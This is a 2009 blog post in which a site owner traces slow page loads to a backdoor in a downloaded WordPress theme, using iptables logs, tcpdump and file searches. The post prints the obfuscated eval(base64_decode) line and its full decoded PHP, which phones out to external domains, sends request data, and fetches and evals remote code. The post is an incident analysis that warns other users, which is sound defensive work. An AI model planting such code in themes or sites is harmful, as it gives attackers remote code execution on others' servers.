This blog site uses a WordPress theme called Blue Zinfandel developed by a guy named Brian Gardner. When I first launched it, I spent several days looking for something I liked and found and downloaded this from – I have no idea where…

Yesterday I discovered malicious code had been inserted into the header.php file. I should have been more careful… but I wasn’t, and I had to spend a few hours tracking down the offending code and cleaning it up. Here’s what happened:

First, the environment: I run this site on a virtualized Fedora box anchored to Xen and hosted by linode.com. I built a customized iptables script to filter traffic and can select incoming and outgoing traffic through a series of 1s and 0s and a quick redeploy. For example, I have a list of variables that can be assigned for client function and a list that can be assigned for server function.

They look like this (I wrote this with the idea that it could be used by anyone, hence the verbose comments):

#  -- Server --
#
        SNMP_HOST="0" # Only if this machine is collecting SNMP data
        DNS_SERVER="0" #If you enable this, be sure to insert the DNS_FORWARDER entries
        DHCP_SERVER="0" #If you enable this, failover ports will be assigned for you
        FTP_SERVER="0" #If you want users to grab files via ftp from this machine, choose 1.
        MAIL_SERVER="1" # This is not the same as mail relay... If in doubt leave it at 0
        MRTG_SERVER="0" # If this is an mrtg server, choose 1.  It probably isn't ...
        NFS_EXPORTER="0" #if your machine is made to export files, enter "1".  It probably isn't ...
        NTP_SERVER="0" # This is probably NOT an NTP server.... if in doubt, enter 0
        PRINT_SERVER="0" # If this is a samba server, you should choose 1
        SECURE_IMAP="0" # This is only for a machine that is primarily a mail server.  In doubt? Use 0.
        SMB_SERVER="0" # If this is a samba server, choose 1
        WEB_SERVER="1" # If this is a webserver, choose 1. Check WEB_SERVER_PORTS below for port access
        WEB_SERVER_TO_SQL="0" # If this is a webserver that talks to a separate SQL server, choose 1.
#  -- Client --
#
        AUTH_RST="1" #Ident on port 113. Send RST to complete the mailserver's connection w/o sending info. Set to 1
        NFS_CLIENT="0" # If you want access to an NFS server, enter 1
        SMB_CLIENT="0" # If you are mapping smb drives to remote windows machines, choose 1
        TELNET_CLIENT="0" #If you want to be able to telnet... there seems no need ..., enter 1.
        FTP_CLIENT="0" # IF you need to ftp to a remote server, enter 1.
        WWW_CLIENT="0" # If you need http and/or https access, enable 1.
        SSH_FROM_ANYWHERE="0" # If you need to open the machine up for generic SSH activity

These 1s and 0s then are referenced later in the ruleset. For example, if I choose to allow outbound ftp or www access, these rules would apply:

## FTP Client access
# Allow ftp outbound.
if [ "$FTP_CLIENT" = "1" ]; then
        if [ $LOG_GENERATOR = "1" ]; then #Log traffic associated with the rule
                $IPTABLES -A output_$NIC_IF -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j LOG --log-level DEBUG --log-prefix "out_$NIC_IF ftp traffic "
                $IPTABLES -A input_$NIC_IF -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j LOG --log-level DEBUG --log-prefix "in_$NIC_IF ftp traffic "
        fi
        $IPTABLES -A output_$NIC_IF -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT
        $IPTABLES -A input_$NIC_IF -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT
                echo "     Client FTP: Enabled"
                echo "     Client FTP: Enabled" >> $OUTPUT_FILE
fi
## Web Browsing Client access

if [ "$WWW_CLIENT" = "1" ]; then # Allow outbound traffic to the ports listed above.
        if [ $LOG_GENERATOR = "1" ]; then #Log traffic associated with the rule
                $IPTABLES -A output_$NIC_IF -o $NIC_IF -p tcp -m multiport --dport $WEB_BROWSER_PORTS -m state --state NEW,ESTABLISHED -j LOG --log-level DEBUG --log-prefix "out_$NIC_IF www browsing "
        fi
        $IPTABLES -A output_$NIC_IF -p tcp -m multiport --dport $WEB_BROWSER_PORTS -m state --state NEW,ESTABLISHED -j ACCEPT
                echo "     Client WWW: Enabled"
                echo "     Client WWW: Enabled" >> $OUTPUT_FILE
fi

I put this together in order to allow control over a number of details. The LOG_GENERATOR variable, for example, allows me to turn logging on and off. I’ve never had a need to turn logging off – but I can. I log it all to a file that rotates daily and keeps the last 30 logs before it begins to overwrite the oldest. I was watching this log last weekend and noticed the following log entries:

Mar  7 23:17:33 MileTwo kernel: out_eth0 www browsing IN= OUT=eth0 SRC=72.14.177.19 DST=85.17.212.15 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=50964 DF PROTO=TCP SPT=49949 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Mar  7 23:17:33 MileTwo kernel: out_eth0 www browsing IN= OUT=eth0 SRC=72.14.177.19 DST=85.17.212.15 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=56679 DF PROTO=TCP SPT=49950 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0

From this I could clearly see that my machine was doing a client call to a remote webserver. Now, I’d enabled client browsing when I first built the server because I needed to download applications and packages for the initial build. I saw no harm in leaving that access open, so I never closed it.

The machine is always running runlevel 3, but ‘yum’ and ‘curl’ and ‘lynx’ all need connection access to port 80. So, I left it. I know, I know, I should have known better… never run anything you don’t need to be running… Big Mistake.

So, I closed this port access, and made a note to go back and figure out what was generating the traffic – another Big Mistake. I should have done that right away. Instead I took the lazy approach and added it to my list of stuff to do. After that, I didn’t have any need to go out to the site until yesterday when a friend contacted me to say that tburns.com is running really slowly.

I confirmed that it was and then checked the usual server-side stuff… memory, CPU, ps, and io, and saw nothing out of the ordinary there. I restarted the mysqld and httpd services for good measure but nothing improved there so I went to the logs. The system logs didn’t have any information in them so I went to the iptables logs. That’s where I saw these entries:

 Mar 10 20:58:45 MileTwo kernel: NotAllowed_Out: TCP IN= OUT=eth0 SRC=72.14.177.19 DST=85.17.212.15 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=11705 DF PROTO=TCP SPT=58622 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A099904570000000001030304)
Mar 10 20:58:57 MileTwo kernel: NotAllowed_Out: TCP IN= OUT=eth0 SRC=72.14.177.19 DST=85.17.212.15 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=11706 DF PROTO=TCP SPT=58622 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A099933370000000001030304)

The source of the traffic that I never bothered to track down was holding up page refresh. Each time a page was requested, multiple http requests were generated to this address: 85.17.212.15. All these requests needed to fail before the page could load. The ip address resolves to ‘hosted-by.leaseweb.com’. On March 7, when I shutdown the server’s ability to do client http calls, it brought everything to a screeching halt.

I have other sites running on this server, and checked to be sure those sites were functioning. Then I did a quick and dirty search through the tburns.com directory tree to see if I could find either the ip address or the resolved name in any of the files. I used my good friend ‘find’ to help. This command searches the current directory and all its subdirectories for files; searches those files ignoring case and listing any hits; looks for a particular string (in this case, leaseweb) and displays the results to standard output:

#find . -type f -exec grep -li leaseweb {} \;

The results yielded no references to either the name or the ip address. So, I went to mysql and did a mysqldump to output the contents of the entire database into a text file. I searched that file for those two strings and found nothing.

I then re-enabled the machine’s ability to do http requests and ran tcpdump to capture the output. I didn’t want all the output, just the traffic specific to the destination host. I ran tcpdump in verbose mode because I wanted as much information as possible. I also wanted to capture the output to a file so I could look at it in Wireshark. That command looked like this:

# tcpdump host 85.17.212.15 -vvv -w /home/tburns/leased.dmp

I then copied the leased.dmp file to a machine that has Wireshark installed and opened it up to look at the contents. Here’s what I found:

7    0.231603    72.14.177.19    85.17.212.15    HTTP    GET /w1.php?url=%2F&host=www.t [Packet size limited during capture]

What this indicates is that tburns.com (72.14.177.19) is requesting a page called w1.php from a server located at 85.17.212.15. It is also passing additional parameters to that request as indicated by the question mark. Using tcpdump limits the amount of packet data I can collect, but I figured the name of the file it is calling should suffice. I didn’t need the additional query information. I then searched for that string (w1.php) in all files within the directory structure. This turned up no results. I then searched the text file I dumped the database to and that turned up nothing as well.

So now I’m convinced that this code is hidden in such a way that a simple file search is useless.
Though I’ve played with PHP, I’m no programmer, but I have come across base64 encoding/decoding and
I knew PHP had some function(s) relative to that. So I ran my find command searching for base64 as
the string. This turned up quite a few results, but only one in the directory containing the Blue
Zinfandel theme-related files. The file was the header.php file and it had this text smack in the body
tag (It’s a long string, I snipped it for readability):

<body><?php eval(base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3 ... DkxNik7')); ?>

I took that string and found an on-line base64 decoder that was open for business and I pasted the string into it. Here’s the output of that:

if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen(“www.wpssr.com”, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = “wpssr”; elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen(“www.wpsnc.com”, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = “wpsnc”; else $R50F5F9C80F12FFAE8B2400528E81B34E = “wpsnc2″; @eval(‘$R14AF1BE9EE26A90921E64A82E7836797 = 1;’); if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get(‘allow_url_fopen’)) { $RD3FE9C10A808A54EA2A3DBD9E605B696 = “1″; $R6E4F14B335243BE656C65E3ED9E1B115 = “http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=”. urlencode($_SERVER['REQUEST_URI']) .”&”. “host=”. urlencode($_SERVER['HTTP_HOST']); $R3E33E017CD76B9B7E6C7364FB91E2E90 = @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115); @eval($R3E33E017CD76B9B7E6C7364FB91E2E90); } else { $RD3FE9C10A808A54EA2A3DBD9E605B696 = “0″; $R6E4F14B335243BE656C65E3ED9E1B115 = “http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=”. urlencode($_SERVER['REQUEST_URI']) .”&”. “host=”. urlencode($_SERVER['HTTP_HOST']); @readfile($R6E4F14B335243BE656C65E3ED9E1B115); } fclose($R37C014DAE5FE4FE5C77B6735ABC30916);

Just to save you the trouble of reading through it, I can tell you that each time the header.php page loads, it goes out to wpssr.com and, failing that, it goes to wpsnc.com both of which resolve to 85.17.212.15. Then, depending upon which name it hits successfully, it generates the get request on the fly by assigning variables to the string; grabs a couple of server variables on the way out the door; and passes it all in the request.

I cleaned it all up… but, if you are using this theme, you may want to search through the header.php file and get rid of the offending code. I found the original package that I’d downloaded and the header.php file was infected there too… so it wasn’t anything that showed up after installation. The Blue Zinfandel theme is no longer available on Gardner’s site as a download.

I’ll send a question to Brian Gardner who designed the theme… In the meantime, don’t download things from strange places unless you can open those things up and vouch for the content.

This entry was posted on Wednesday, March 11th, 2009 at 12:23 pm and is filed under Linux. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.